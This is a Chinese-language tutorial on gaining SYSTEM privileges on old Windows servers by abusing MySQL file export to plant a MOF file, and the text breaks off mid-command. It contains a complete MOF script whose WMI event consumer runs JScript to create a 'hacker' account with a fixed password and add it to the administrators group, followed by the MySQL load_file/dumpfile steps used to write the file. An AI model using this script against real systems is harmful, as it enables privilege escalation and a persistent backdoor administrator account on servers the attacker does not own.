MOF介绍
mof是windows系统的一个“托管对象格式”文件(位置:C:/windows/system32/wbem/mof/),其作用是每隔五秒就会去监控进程创建和死亡,mof目录下有两个文件夹(good与bad)。Windows server 2003及以下系统每5秒会执行一次mof目录下的文件,执行成功会移动到good文件夹,执行失败则会移动到bad文件夹。
注:MOF提权只能用于Windows系统提权,Linux提权无法使用
MOF提权原理
mof提权其实就是利用mysql 写入mof文件,通过mof文件中的vbs脚本以system权限执行系统命令
使用条件如下:
1、mysql是高权限运行
2、mysql需要具有导入导出功能
3、只能用于Windows 2003以下的系统(Windows 2003以上的系统不在使用该目录)
提权脚本如下:执行一段vbs语言,执行系统命令
#pragma namespace("\\\\.\\root\\subscription")instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hacker P@ssw0rd /add\")\nWSH.run(\"net.exe localgroup administrators hacker /add\")";
};instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
我们创建一个新的文本,并将这段代码复制下来
然后最终保存为1.mof文件
然后我们将其放到C盘目录下,将其转换成16 Hex进制数据,转化成16进制方法很多,然后我们可以借助mysql数据库将其转换为1.txt文件
select hex(load_file('C:/1.mof')) into dumpfile 'c:/1.tx